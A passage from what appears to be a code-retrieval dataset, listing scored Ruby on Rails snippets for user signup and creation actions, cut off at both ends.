"0.67779505", "text": "def create_user_information # for new users. runs last according to rails.\n self.dj_name = name\n self.roles = Role.where(:title => 'noob')\n self.active = true\n set_password\n end", "title": "" }, { "docid": "4a8ebf374d567d7d6e466d48401e32ff", "score": "0.67529476", "text": "def create\n @user = User.new user_params #authenticating the user's information. fill in the db with these values.\n if @user.save #if it saves,\n redirect_to \"/users/#{ @user.id }\" #redirect to their profile page\n else\n render :new #if not new form.\n end\n end", "title": "" }, { "docid": "0124b6800662a209b4ef8a4e75c9d4d1", "score": "0.6752053", "text": "def new\n # Diese Seite ist User-unabhängig\n @independent = true\n @action = \"Registrieren\"\n @header = {\"back\" => root_path, \"ajax\" => true, \"title\" => \"Registrieren\"}\n @user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "06967010b5b76963091bf990103d13f2", "score": "0.67430174", "text": "def new\n\t \t@user = User.new\n\t \t#get the type of user being created based on what button was clicked\n\t\t@type = params[:type]\n\n\t\t#produce a list of supervisors\n\t\t@sups = User.where(type: Supervisor)\n\n\t\trender(\"new\")\n\t end", "title": "" }, { "docid": "d8f42a9ea8b80a9f2de80cccf982b967", "score": "0.6731291", "text": "def add_new_user()\n new_user_link.click\n end", "title": "" }, { "docid": "8e0625d97bc9daab3fb49e3967c76ada", "score": "0.67286134", "text": "def create\n @user = User.find_or_create_by(uid: auth['uid']) do |u|\n u.name = auth['info']['name']\n u.email = auth['info']['email']\n end\n\n session[:user_id] = @user.id\n\n render 'welcome/home'\n end", "title": "" }, { "docid": "7657d230f1c34edb7efc6427b118334b", "score": "0.6713172", "text": "def new\n @user = User.new\n\n @menu = \"home\"\n @board = \"user\"\n @section = \"new\"\n \n render 'user'\n \n end", "title": "" }, { "docid": "ccd22820b971d99025bcb53ccb33fcd5", "score": "0.67065245", "text": "def create \n #create an instance to save the users passed by the form\n @user = User.new(user_params)\n if @user.save\n \t#\n render 'show'\n #render show\n else \nrender 'signup'\n#puts \"Helooooo\"\n end\n end", "title": "" }, { "docid": "f2f8be039e88157fd558a4ae491ab963", "score": "0.67052656", "text": "def show\n\t if !current_user #if no current user, default to the \"register new user\" page\n\t \t@user = User.new\n\t \trender :action => 'new_user'\n\t \treturn\n\t end\t \n\tend", "title": "" }, { "docid": "123d13655624b26744efac3c7bd2818d", "score": "0.6700391", "text": "def fill_users(name, phone, email, cpf)\r\n if @home_screen = page(HomeScreen)\r\n @home_screen.create_new_user\r\n else\r\n p 'try'\r\n end\r\n\r\n enter_text(\"* id:'#{user_name}'\", name)\r\n enter_text(\"* id:'#{user_phone}'\", phone)\r\n enter_text(\"* id:'#{user_email}'\", email)\r\n enter_text(\"* id:'#{user_cpf}'\", cpf)\r\n # enter_text(\"* id:'#{user_description}'\", description)\r\n end", "title": "" }, { "docid": "9cad43538d8c72998aca87968af7b106", "score": "0.6680934", "text": "def js_add_new_user(object)\n update_page do |p|\n p.insert_html :bottom, 'newuser', :partial => 'user', :object => object\n p << \"lastElement = $('newuser').childElements().last()\"\n p << \"textfield = lastElement.down('.text_field')\"\n p << \"autocomplete = lastElement.down('.autocomplete')\"\n p << \"new Ajax.Autocompleter(textfield, autocomplete, #{url_for(:controller => 'admin/users', :action => :index).inspect}, { method: 'get', paramName: 'login' })\"\n end\n end", "title": "" }, { "docid": "8ee5e063cf09f6f815f514119b864f77", "score": "0.66725844", "text": "def create\n respond_to do |format|\n if @user.save\n flash[:notice] = 'User was successfully created.'\n @changed << @user.id\n \n format.html { redirect_to users_path }\n format.js { render 'shared/index'; flash.discard }\n format.json { render json: @user, status: :created, location: @user }\n else\n @edited << 'new'\n @expanded << 'new'\n\n format.html { render action: 'new', template: 'shared/new' }\n format.js { render 'user' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1363821707b1adf95cb51ee482a174a8", "score": "0.66640085", "text": "def new\n\t@title = \"Sign Up\"\n\t@user = User.new\n end", "title": "" }, { "docid": "b7e318697a944aa5972d2d5c1d6c86a6", "score": "0.665546", "text": "def new\n only_provides :html\n @user = User.new\n display @user\n end", "title": "" }, { "docid": "2c5b9b7acb9b23d732d819970921969b", "score": "0.6648233", "text": "def create\n\t\t@user = User.new(user_params)\n\t\t\n\t\tif @user.save\n\t\t\tredirect_to users_path\n\t\telse\n\t\t\trender 'new'\n\t\tend\n\tend", "title": "" }, { "docid": "0c626d81b034027fcfb23fccbbe70b93", "score": "0.6643625", "text": "def create\n @user = User.new(params[:user])\n @user.skip_confirmation!\n @user.role = Role.find_by_name Role::CLIENT_ROLE\n\n\n respond_to do |format|\n if @user.save\n @user.create_profile\n #format.html { redirect_to @user, notice: 'User was successfully created.' }\n #format.json { render json: @user, status: :created, location: @user }\n @users = User.all\n format.js { render action: \"index\" }\n else\n #format.html { render action: \"new\" }\n format.js { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n\n end", "title": "" }, { "docid": "95f8cf2be961733df999332634a2c4c2", "score": "0.6639705", "text": "def handle_new_user \n system \"clear\" \n CoffeeMan.stay_logo\n username = @prompt.ask(\"Create a username\", required: true) \n #check if new username already exists\n if User.all.map(&:username).include?(username)\n puts 'This username already exist'\n sleep 5 / 2\n system \"clear\"\n sleep 1\n #redirect to log in option method\n CoffeeMan.stay_logo\n self.log_in\n else\n #if new username doesn't exist, create a new password\n password = @prompt.mask(\"Create a password\", required: true) \n end \n #after everything, create a new user instance \n @userid = User.create(username: username, password: password) \n main_menu\nend", "title": "" }, { "docid": "918e2c7360cb6bfa9ad30c6cc651a9a4", "score": "0.6637275", "text": "def new\n @user = User.new\n @title = \"Sign up\"\n #@action = \"New Action\"\n end", "title": "" }, { "docid": "1942f8a657dc406b642bce781669185a", "score": "0.66317177", "text": "def create\n\t\t@user = User.new(params[:user])\n\t\tif @user.save\n\t\t\tredirect_to root_url, notice: \"Added new user to the database\"\n\t\telse\n\t\t\trender \"new\"\n\t\tend\n\tend", "title": "" }, { "docid": "1a224423c6ef3397d5f7aef607553955", "score": "0.66180503", "text": "def create\n @user = User.new(user_params)\n # if params[:desk_id]\n # @desk = Desk.find(params[:desk_id])\n # elsif params[:organization_id]\n # @organization = Organization.find(params[:organization_id])\n # end\n respond_to do |format|\n if @user.save\n @show_modal = 'hide'\n set_users\n format.html { redirect_to users_path, notice: 'User was successfully created.' }\n format.js \n format.json { render action: 'show', status: :created, location: @user }\n else\n debugger\n @new_user = @user\n set_users\n @show_modal = 'show'\n format.js\n format.html { render action: 'index' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "13f5c9736eb3b15e8a7a0c3980c34a8c", "score": "0.6607954", "text": "def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\tredirect_to :controller => 'welcome', :action => 'index'\n\t\t\tflash[:info] = 'Wait until admin enables your account'\n\t\telse\n\t\t\trender 'new'\n\t\tend\n\tend", "title": "" }, { "docid": "bbaddefab6f1c21f60d6bd26560712c9", "score": "0.65996903", "text": "def create\r\n expire_fragment(\"layout_menu/#{@current_profile ? @current_profile.id : @current_user.profile_ids.join(\",\")}/#{@current_user.id}\")\r\n redirect_to(:action => :index) and return unless request.post?\r\n redirect_to(:action => :index) and return if params[:user].blank? || !params[:user].is_a?(Hash)\r\n @user_attributes = params[:user] ? params[:user]['0'].clone : {}\r\n @user_attributes.delete(:active) if @user_attributes && restrict_active_for_create_5\r\n @user_attributes.delete(:password) if @user_attributes && restrict_password_for_create_5\r\n @user_attributes.delete(:hashed_password) if @user_attributes && restrict_hashed_password_for_create_5\r\n @user_attributes.delete(:salt) if @user_attributes && restrict_salt_for_create_5\r\n @user_attributes.delete(:last_login) if @user_attributes && restrict_last_login_for_create_5\r\n @user_attributes.delete(:last_session_id) if @user_attributes && restrict_last_session_id_for_create_5\r\n @user_attributes.delete(:user_accesses) if @user_attributes && restrict_user_accesses_for_create_5\r\n @user_attributes.delete(:accesses) if @user_attributes && restrict_accesses_for_create_5\r\n @user_attributes.delete(:profiles) if @user_attributes && restrict_profiles_for_create_5\r\n @user = User.load_from_params(@user_attributes)\r\n if @user.errors.empty? && @user.save\r\n flash[:notice] = _(\"%{page} was successfully created.\") % {:page => _(\"User\")}\r\n if request.xhr? # && params[:format] == 'json'\r\n render(:json => {:id => @user.id}.merge(@user.attributes).to_json)\r\n return\r\n end\r\n else\r\n if request.xhr? # && params[:format] == 'json'\r\n render(:json => ({:errors => @user.errors.full_messages}.merge(@user.attributes)).to_json)\r\n else\r\n render(:action => :new)\r\n end\r\n return\r\n end\r\n if params[:go_to].blank?\r\n redirect_to :action => (params[:commit_and_new] ? :new : :index)\r\n else\r\n redirect_to(params[:go_to])\r\n end\r\n end", "title": "" }, { "docid": "8a5702cb24761038cc2ca6833aa3ec65", "score": "0.6595347", "text": "def create\n @user = User.new(user_params)\n if @user.save\n flash[:success] = \"You have successfully created a new user\"\n redirect_to home_path\n else\n render :signup\n #we explicitly choose to render the signup page rather than redirecting because we don't want to show errors in a flas message - it'd be too long\n #when we render it again it's storing the user and saving that instance of a user, because we have the instance variable on the signup page\n end\n end", "title": "" }, { "docid": "72e312cce05b86363073019249c214ad", "score": "0.6591128", "text": "def new\n if logged_in?\n # User who has logged in has no need to access create action\n redirect_to current_user\n else\n # Get ready to display signup page by declaring instance var\n \t @user = User.new\n end\n end", "title": "" }, { "docid": "4989ddd33106fe0cb176829754b19393", "score": "0.6588511", "text": "def create\n if logged_in?\n # User who has logged in has no need to access create action\n redirect_to current_user\n else \n # Ready to create new user\n @user = User.new(params[:user])\n if @user.save\n # Handle a successful save.\n log_in @user\n flash[:success] = \"Welcome to the Sample App!\"\n redirect_to @user\n else\n \t# Render signup page\n render 'new'\n end\n end\n end", "title": "" }, { "docid": "a4e4c6081ea258a2b9d923b37e9ec908", "score": "0.6585551", "text": "def new\n @title = \"Sign up\"\n @user = User.new\n end", "title": "" }, { "docid": "fb37df2b3020edcfdd7c84e5ec1ce0bd", "score": "0.65819764", "text": "def create\n \t@user = User.new(user_params) \n \tif @user.save\n \t\t log_in @user\n flash[:success] = \"Prof-Folio welcomes you onboard!\"\n redirect_back_or\n #redirect_to @user\n \telse\n \t\trender 'new'\n \tend\n end", "title": "" }, { "docid": "bd6ea8a6880a2a2e2a6f9c13f76fbcd9", "score": "0.65737134", "text": "def create\n super and return unless current_user\n @user = User.new(user_params)\n redirect_path = params[:redirect_path].present? ? params[:redirect_path] : users_path\n @user.password = @user.password_confirmation = SecureRandom.hex(6)\n respond_to do |format|\n if @user.save\n format.html { redirect_to redirect_path, notice: 'user was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.js { render \"users/new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end \n end", "title": "" }, { "docid": "0ca14f202b86917ac636752c5f28c307", "score": "0.65695524", "text": "def new_user_create\n @user = User.create_user(user_params, current_user.account_id) # New User\n begin\n @user.save!\n @users = User.get_all(current_user.account_id)\n flash[:success] = \"User was created successfully!\"\n rescue => e\n flash[:alert] = \"User creation failed!\"\n end \n end", "title": "" }, { "docid": "1d2a6d51a18a088d016e0cc74912e813", "score": "0.65636694", "text": "def new\n\t\tmissing unless WAYGROUND['ALLOW_SIGNUP']\n\t\t@user = User.new(params[:user])\n\t\t@user.time_zone = Time.zone.name unless params[:user]\n\t\t@user.valid? if params[:user]\n\t\t@page_title = 'New User Registration'\n\tend", "title": "" }, { "docid": "b9dd81778e2dd1efc36368cfb92b038d", "score": "0.6561994", "text": "def create\n\t\tif @user.save\n\t\t\tflash[:notice] = \"Your account has been successfully created!\"\n\t\t\tUserMailer.welcome_email(@user).deliver!\n\t\t\tredirect_to root_url\n\t\telse\n\t\t\tflash[:error] = get_all_errors\n\t\t\trender 'new'\n\t\tend\n\tend", "title": "" }, { "docid": "4584d3e628dedb56ea7eccbbef785551", "score": "0.65611416", "text": "def create\n @user = User.new(user_params)\n if @user.save\n render 'create'\n else\n redirect_to '/'\n end \n end", "title": "" }, { "docid": "72d2e786fbc6ddc65c195fa8439a5e6f", "score": "0.6551475", "text": "def sign_up_helper\n username = prompt.ask(\"Enter Username\")\n while User.find_by(name: username.downcase)\n puts \"This username is already taken, please create a different username\"\n username = prompt.ask(\"Enter Username\")\n end\n password = prompt.ask(\"Enter Password\")\n self.user = User.create(name: username, password: password)\n puts \"Sign up complete.\"\n sleep(0.8)\n puts \"Let's Get Cookin #{self.user.name.upcase}!!!\"\n sleep(1.5)\n main_menu\n end", "title": "" }, { "docid": "893701b63c16d85382d10d0717266ba6", "score": "0.65496457", "text": "def create\n\t\t@user = User.new user_params\n\n\t\tif @user.save\n\t\t\tsession[:current_user_id] = @user.id\n\t\t\tredirect_to user_path(:id) \n\t\telse\n\t\t\trender :index\n\t\tend\n\tend", "title": "" }, { "docid": "bcb0e42f2eec7ecc130e7101bd153183", "score": "0.6549593", "text": "def new \n @user = User.new\n @current_uri = request.env['PATH_INFO']\n render :layout => \"signup_login\"\n end", "title": "" }, { "docid": "9e9f561266e08b22cd1c15c5d7a89761", "score": "0.6549467", "text": "def new_user\n\t\t@resource = User.new\n\t\t@resource_name = 'user'\n\tend", "title": "" }, { "docid": "f451a2253cb283a65d5eb95f9040507c", "score": "0.6522992", "text": "def create\n\t\tuser_params = params.require(:user).permit(:first_name, :last_name, :email, :password)\n\t\t@user = User.create(user_params)\n\t\tlogin(@user) #log in user\n\t\tredirect_to \"/users/#{@user.id}\" #go to show\n\tend", "title": "" }, { "docid": "7638b3d68a046db46426bea04f5836c9", "score": "0.6520666", "text": "def create\n @user = User.new(params[:user])\n @user.firm = current_firm\n @users = current_firm.users\n @model = \"user\"\n @model_instanse = @user\n respond_to do |format|\n if @user.save\n flash[:notice] = flash_helper(\"Registration successful.\")\n format.html {redirect_to(users_path())}\n format.js\n else\n format.js { render \"shared/validate_create\" }\n end\n end\n end", "title": "" }, { "docid": "f5da083919b3294609e717e6c7d54343", "score": "0.6507169", "text": "def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\tsession[:user_id] = @user.id\n\t\t\t# line above automatically logs in when user created successfully\n\t\t\tredirect_to cuisine_types_path \n\t\telse\n\t\t\trender :new\n\t\tend\n\tend", "title": "" }, { "docid": "1af58dfd294c1e2bb67a8399611d8731", "score": "0.65056765", "text": "def create\n @user = User.new(params[:user])\n \n if @user.create_first\n flash[:message] = \"<h2>#{t('welcome', :scope => 'refinery.users.create', :who => @user.username).gsub(/\\.$/, '')}.</h2>\".html_safe\n\n sign_in(@user)\n redirect_back_or_default(refinery.admin_root_path)\n else\n render :new\n end\n end", "title": "" }, { "docid": "69bad74ae6afce9aef54572211220599", "score": "0.65038407", "text": "def create_skeleton\n email = params[:user][:email]\n\n if email.present? && user_already_exists(email)\n flash[:error] = \"This email already has a user\"\n render action: 'new_skeleton'\n else\n @user = User.create_unfinished(email, params[:user][:registration_attributes][:ticket_type_old], params[:user][:name])\n @user.company = params[:user][:company]\n @user.save!(:validate => false)\n\n flash[:notice] = \"Skeleton user created - creation link is #{user_from_reference_url(@user.registration.unique_reference)}\"\n redirect_to new_skeleton_user_path\n\n end\n end", "title": "" }, { "docid": "8715c59aed5ddcb43aa28f061d82055c", "score": "0.6501549", "text": "def create\n\t\t@user = User.new(params.require(:user).permit(:first_name, :last_name, :email, :password, :password_confirmation))\n\t\t@user.safety_schools = []\n\t\t@user.target_schools = []\n\t\t@user.reach_schools = []\n\n\t\t# if the creation is successful, user is directed to their profile where they can start adding schools to their lists\n\t\tif @user.save \n\t\t\tsession[:user_id] = @user.id.to_s\n\t\t\tflash[:info] = \"Welcome! Start adding schools to your list!\" \n\t\t\tredirect_to profile_path\n\t\telse\n\t\t# if the creation is unsuccessful, the new user form is rendered again and the user is told the errors in sentence form\n\t\t\tflash.now[:danger] = @user.errors.full_messages.to_sentence\n\t\t\trender :new\n\t\tend \n\n\tend", "title": "" }, { "docid": "45986bf743ad06131e9ec7cf2ed61c3e", "score": "0.6497125", "text": "def new\n @user_signup = User.new\n @is_signup = true\n end", "title": "" }, { "docid": "5418ee7a06c663a17c1a799472c13057", "score": "0.649662", "text": "def create\n @user = User.new(user_to_be_created)\n\n error = @user.validate_user?\n\n if error.nil? && @user.save\n handler_notice('Usuário cadastrado com sucesso!', login_path)\n else\n handler_notice_error(error, new_user_path)\n end\n end", "title": "" }, { "docid": "d97d310124c183e21cc73d042442f2d8", "score": "0.6495432", "text": "def create\n @user = user_from_params\n if @user.save\n sign_in @user\n redirect_back_or url_after_create\n else\n render template: \"users/new\"\n end\n end", "title": "" }, { "docid": "3c60a3679b0131402ace3ae953d41b66", "score": "0.6486404", "text": "def create\n\t\t@user = User.new(user_params)\n\n\t\tif @user.save\n\t\t\t#login the user\n\t\t\tsession[:id] = params[:id]\n\t\t\t#redirect to user home page\n\t\t\tredirect_to home_path\n\n\t\telse\n\t\t\trender :new\n\t\t\t\n\t\tend\n\t\t\n\tend", "title": "" }, { "docid": "12836b0131293f3c71ce9dc93b7642b5", "score": "0.648497", "text": "def new\n\t\t###@the_user = User.create_new\n\t\t@the_user = User.new(user: current_user)\n\t\t@roles = Role.all\n\t\t@groups = Group.all\n\t\t@projects = Project.all\n\t\t@themes = get_themes(@theme)\n\t\t@time_zones = get_time_zones(@time_zone)\n\t\t@volumes = Volume.find_all\n\t\t@types = Typesobject.get_types(\"user\")\n\t\t@subscriptions = Subscription.all\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @the_user }\n\t\tend\n\tend", "title": "" }, { "docid": "f9522d250feb3d6a258f25670dcc5585", "score": "0.64849323", "text": "def create\n @user = User.create(user_params)\n @users = User.all\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to admin_user_path(@user), notice: 'User was successfully created.' }\n format.js { render :create }\n else\n format.html { render :new }\n format.js { render :create }\n end\n end\n end", "title": "" }, { "docid": "efc9cb3495b03c75fdaa5e93a12f456e", "score": "0.64833415", "text": "def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\tredirect_to login_path\n\t\telse\n\t\t\trender :new\n\t\tend\n\tend", "title": "" }, { "docid": "dbf48c3eef8c18980323c10ea83e57df", "score": "0.64823437", "text": "def create\n\t\t\n\t\t@user = User.new(user_params)\n\t\t@user.user_role_id = 3\n\t\t@user.status_ace = true\n\t\t\n\t\tif @user.save\n\t\t\tredirect_to root_url, notice: \"New user created successfully. You can log in now.\"\n\t\t\telse\n\t\t\trender \"new\"\n\t\tend\n\t\t\n\tend", "title": "" }, { "docid": "a2df0c0dd317f3a218e63e21ff7b975b", "score": "0.6481825", "text": "def new\n @title = \"Sign up\"\n @user= User.new\n end", "title": "" }, { "docid": "2bfea8dfeafef4b56d3eb46943c5f01b", "score": "0.64795655", "text": "def create\n @errors = validate(user_params)\n @user = LinkedData::Client::Models::User.new(values: user_params)\n\n if @errors.size < 1\n @user_saved = @user.save\n if response_error?(@user_saved)\n @errors = response_errors(@user_saved)\n # @errors = {acronym: \"Username already exists, please use another\"} if @user_saved.status == 409\n render action: \"new\"\n else\n # Attempt to register user to list\n if params[:user][:register_mail_list]\n Notifier.register_for_announce_list(@user.email).deliver rescue nil\n end\n\n flash[:notice] = 'Account was successfully created'\n session[:user] = LinkedData::Client::Models::User.authenticate(@user.username, @user.password)\n redirect_to_browse\n end\n else\n render action: \"new\"\n end\n end", "title": "" }, { "docid": "8ea04ff1522ff5d5e771278c2c3bbdde", "score": "0.6478971", "text": "def new_user\n \n end", "title": "" }, { "docid": "78d28f2ffd7b1dd154ec7ad5e920ce37", "score": "0.6477651", "text": "def create\n @user = User.new(email:session[:userinfo].info.email,\n name:session[:userinfo].info.name,\n uid:session[:userinfo].uid)\n if @user.save\n @user.save\n redirect_to @user, notice: \"Welcome #{@user.name}!\"\n else\n redirect_to root_path, status: \"Something went wrong. Let's try this again.\"\n end\n end", "title": "" }, { "docid": "21c7ea53dd7032c79f407785f3b4fca2", "score": "0.6473215", "text": "def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n session[:user_id] = @user.id\n @edit = false # Variable criated to differentiate edit and create when entering user edit _form.html.erb\n format.html { redirect_to events_path, notice: \"Welcome #{@user.firstname}!\"}\n format.json { render :show, status: :created, location: @user }\n else\n flash.now[:notice] = 'Username or Password already exists'\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2c8a0ccf8b2b49d42f045a028773ea9d", "score": "0.647308", "text": "def create_user\n @user = User.new(user_params)\n @user.role = :user\n if @user.save\n correct_cs_entries @user\n correct_ci_entries @user\n render 'objects/user.json'\n else\n @msg = \"Error in generating user\"\n @details = @user.errors\n render \"objects/msg.json\", status: :bad_request\n end\n end", "title": "" }, { "docid": "915f29922b0ed4f9e192473e8c8a89fa", "score": "0.6472857", "text": "def create\n build_resource\n @users = User.find(:all, :include => :roles) \n debugger\n if resource.save\n if resource.active_for_authentication?\n sign_in(resource_name, resource)\n (render(:partial => 'newuser', :locals => {:user => resource.id}, :layout => false) && return) if request.xhr?\n respond_with resource, :location => after_sign_up_path_for(resource)\n else\n expire_session_data_after_sign_in!\n (render(:partial => 'newuser', :locals => {:user => resource.id}, :layout => false) && return) if request.xhr?\n respond_with resource, :location => after_inactive_sign_up_path_for(resource)\n end\n else\n clean_up_passwords resource\n render :action => :new, :layout => !request.xhr?\n end\n end", "title": "" }, { "docid": "6c7e5dfe808e7de0e3713d9d8fa31d24", "score": "0.6469565", "text": "def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n session[:user_id] = @user.id\n format.html { redirect_to user_by_name_path(@user.name) }\n flash[:user_created] = t('msg.user_created')\n else\n format.html { render action: \"new\" }\n end\n end\n end", "title": "" }, { "docid": "d7955e311fa6a14c44e65f6c3c117ea0", "score": "0.64666766", "text": "def create_user\n \t@user = User.new(user_params)\n @user.username = @user.name.split.sum\n \t@user.facility_id = current_user.facility_id\n \t@user.email = 'medinternational.dev'+@user.username.to_s + \"@gmail.com\"\n \t@user.language = \"english\"\n \t@user.password = \"password\"\n @user.role = Role.find_by_name(\"bmet_tech\")\n \trespond_to do |format|\n \t\tif @user.save\n \t\t\tformat.html { redirect_to settings_path, notice: 'User successfully created'}\n \t\t\tformat.json { redirect_to settings_path, notice: 'User successfully created'}\n \t\telse\n \t\t\tformat.html {redirect_to settings_path, notice: 'Failed to create user'}\n \t\t\tformat.json { render json: @user.errors, status: :unprocessable_entity}\n \t\tend\n \tend\n end", "title": "" }, { "docid": "92f0c9aa1b7f40a9e7e8b46f86d095ca", "score": "0.6458445", "text": "def create_user\n @user = User.find(session[:user_id])\n redirect_to(root_url) unless current_user?(@user) || current_user.admin?\n end", "title": "" }, { "docid": "352c8a0c25109c8206036a569c647672", "score": "0.645488", "text": "def new\n add_breadcrumb I18n.t('integral.breadcrumbs.new'), :new_backend_user_path\n @user = User.new\n end", "title": "" }, { "docid": "f958d0382f8a0bfe5d54d2a12818e7fc", "score": "0.645461", "text": "def create_skeleton\n email = params[:user][:email]\n\n if email.present? && user_already_exists(email)\n flash[:error] = \"This email already has a user\"\n render action: 'new_skeleton'\n else\n @user = User.create_unfinished(email, params[:user][:registration_attributes][:ticket_type_old], params[:user][:first_name], params[:user][:last_name])\n @user.company = params[:user][:company]\n @user.save!(:validate => false)\n\n flash[:notice] = \"Skeleton user created - creation link is #{user_from_reference_url(@user.registration.unique_reference)}\"\n redirect_to new_skeleton_user_path\n\n end\n end", "title": "" }, { "docid": "52d3958a6e054396d2ddc881a4c5a962", "score": "0.64543325", "text": "def new\n # When a http GET request to '/users/new' is received, have it render:\n # a view file with an empty form to create a new user.\n end", "title": "" }, { "docid": "c0dc998258f0b8a03e73ab3d4be914bb", "score": "0.6453802", "text": "def create\n ## check if the username is already in the database\n @user = User.create(user_params)\n if @user.errors.any?\n # ## if the username is present, then redirect to the login page\n render template: \"/users/new\"\n else \n ## If the username is not present, then it creates their account\n user = User.find_by({name: params[:user][:name]})\n ## Start the session for the user\n session[:user_id] = user.id\n redirect_to user_path(user)\n end\n end", "title": "" }, { "docid": "891e45751e0229e93d4ee54154f0d264", "score": "0.6450913", "text": "def create\n\t\t@user = User.new(user_params)\n\t\t# If user was save with succes, then sign in automaticly, else, render new.\n\t\tif @user.save\n\t\t\tsign_in @user\n\t\t \tflash[:sucess] = \"Seja bem-vindo!\"\n\t\t\tredirect_to :action => :show, :id => @user.id\n\t\t\tCUSTOM_LOGGER.info(\"Created and associated user to params #{@user.to_yaml}\")\n\t\telse\n\t\t\trender 'new'\n\t\t\tCUSTOM_LOGGER.error(\"Not created and associated user to params #{@user.to_yaml}\")\n\t\tend\n\tend", "title": "" }, { "docid": "c50feadaa6e2f73e589e4de539f22993", "score": "0.6448008", "text": "def create\n \t# puts('********')\n \t# puts(params)\n \t\n \tUser.create(user_params)\n\n \tredirect_to action: 'index'\n end", "title": "" }, { "docid": "5c0af1e01af21f20b9f05ec95a186b6f", "score": "0.6442227", "text": "def create_new_user\r\n touch(\"* id:'#{add}'\")\r\n end", "title": "" }, { "docid": "e8eef8a040e22ae514ed3d9cf1ade474", "score": "0.6439949", "text": "def create\r\n @person_info = PersonInfo.new(person_info_params)\r\n #@person_type_masters = PersonTypeMaster.all \r\n respond_to do |format|\r\n if @person_info.save\r\n format.js { flash.now[:notice] = \"Player was successfully created.\" }\r\n format.html { redirect_to @person_info, notice: 'Person info was successfully created.' }\r\n format.json { render :show, status: :created, location: @person_info }\r\n else\r\n format.js {render :new}\r\n format.html { render :new }\r\n format.json { render json: @person_info.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n ##createUser\r\n end", "title": "" }, { "docid": "1cf72e33bb6cf9c92f4587d37b0ad632", "score": "0.64378893", "text": "def create \n @myuser = User.new(params[:user]) # 'user' is a dictionary created by the signup form and containing the new user's filled-in parameters\n if @myuser.save\n flash[:success] = \"Welcome to the Sample App!\"\n redirect_to @myuser\n else\n render 'new'\n end\n end", "title": "" }, { "docid": "fe87681b1df77c1a5253e0cc4eaa50f1", "score": "0.6429683", "text": "def create_confirm\n @user = User.new(user_params)\n unless @user.valid?\n render new_user_path \n end\n if user_params.has_key?(:profile)\n dir = \"#{Rails.root}/app/assets/profiles\"\n FileUtils.mkdir_p(dir) unless File.directory?(dir)\n profileName = user_params[:name] + \"_\" + Time.now.strftime('%Y%m%d_%H%M%S') +\".\" + ActiveStorage::Filename.new(user_params[:profile].original_filename).extension\n File.open(Rails.root.join('app/assets/', 'images', profileName), 'wb') do |f|\n f.write(user_params[:profile].read)\n end\n @user.profile = profileName\n end\n end", "title": "" }, { "docid": "faee508851e109f5a547c6031c631cd6", "score": "0.6428275", "text": "def create\n @user = User.new(user_params)\n if @user.save\n redirect_to '/enter'\n puts \"User created & saved to db\"\n else\n redirect_to '/enter'\n puts \"User not saved\"\n end\n end", "title": "" }, { "docid": "a93241b20e18c4858d51a7cf21abbddf", "score": "0.6427772", "text": "def create\n @user = User.create user_params\n if @user.save\n session[:user_id] = @user.id\n redirect_to root_path\n else\n render :signup\n end\n end", "title": "" }, { "docid": "d25b10834229096f26b86e3388defc61", "score": "0.64209473", "text": "def create\n #@user.skip_confirmation!\n respond_to do |format|\n if @user.save\n #@user.confirm\n format.html { redirect_to([:admin, @user], notice: 'User was successfully created.') }\n format.xml { render xml: @user, status: :created, location: @user }\n website.add_log(user: current_user, action: \"Created user: #{@user.name}\")\n else\n format.html { render action: \"new\" }\n format.xml { render xml: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8be12485ef88487e49491f9518da4473", "score": "0.6418292", "text": "def create\n @teams = Team.order(:name)\n @user = User.new(params[:user])\n\n if @user.save\n flash[:notice] = \"Your profile was succesfully created!\"\n redirect_to root_path\n else\n flash[:error] = \"Less!! #{@user.errors.full_messages}\"\n render action: \"new\", layout: false\n end\n end", "title": "" }, { "docid": "0ef339977b691271e5f98d11caee185c", "score": "0.6417253", "text": "def check_for_user\n if User.count == 0\n User.create({:login => \"admin\", :password => \"password\", :password_confirmation => \"password\", :name => 'blog owner', :email => \"none@none\", :time_zone => \"Europe/London\"})\n # Display the newly created users details\n notify \"No users found, so default user created: authenticate with login \\\"admin\\\", password \\\"password\\\", and then change your password.\"\n end\n login_required\n end", "title": "" }, { "docid": "cebe0d31b0d0c8305c7d8abc94251ce4", "score": "0.6416264", "text": "def create\n @user = User.new(params[:user])\n @user.attributes = params[:user]\n if @user.save\n flash[:success] = I18n.t('users.created')\n redirect_to users_path\n else\n self.bread\n add_crumb(I18n.t('users.new'),new_user_path)\n render 'new'\n end\n end", "title": "" }, { "docid": "70bc3f05926d46ceb98d6f7d75ca601e", "score": "0.64116347", "text": "def new\n if current_user\n flash[:notice] = 'you are already signed up'\n redirect_to home_path\n else\n @user = User.new\n render 'signup/step1'\n end\n end", "title": "" }, { "docid": "1bf7152d4ce61b18d9888c3628967a65", "score": "0.6410934", "text": "def create\n @user = User.new(user_params)\n if @user.save\n flash[:notice] = \"Confirm Your account with the link in your mail...!\"\n render signup_user_page_users_path\n else\n redirect_to signup_user_page_users_path\n end\n end", "title": "" }, { "docid": "313fe35a02ba4488dd382922082f4822", "score": "0.64082927", "text": "def create\n \tisSaveUser = UsersService.createUser(user_params,current_user)\n if isSaveUser\n \tredirect_to users_path, notice: \"Successfully User Created!!!.\"\n else\n \tflash[:error] = \"Something wrong in User Create Please Check again.\"\n render :new\n end\n end", "title": "" }, { "docid": "66fb0829e3abb0d9d0ca480dc87d3e6d", "score": "0.6407852", "text": "def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n auto_login(@user)\n format.html { 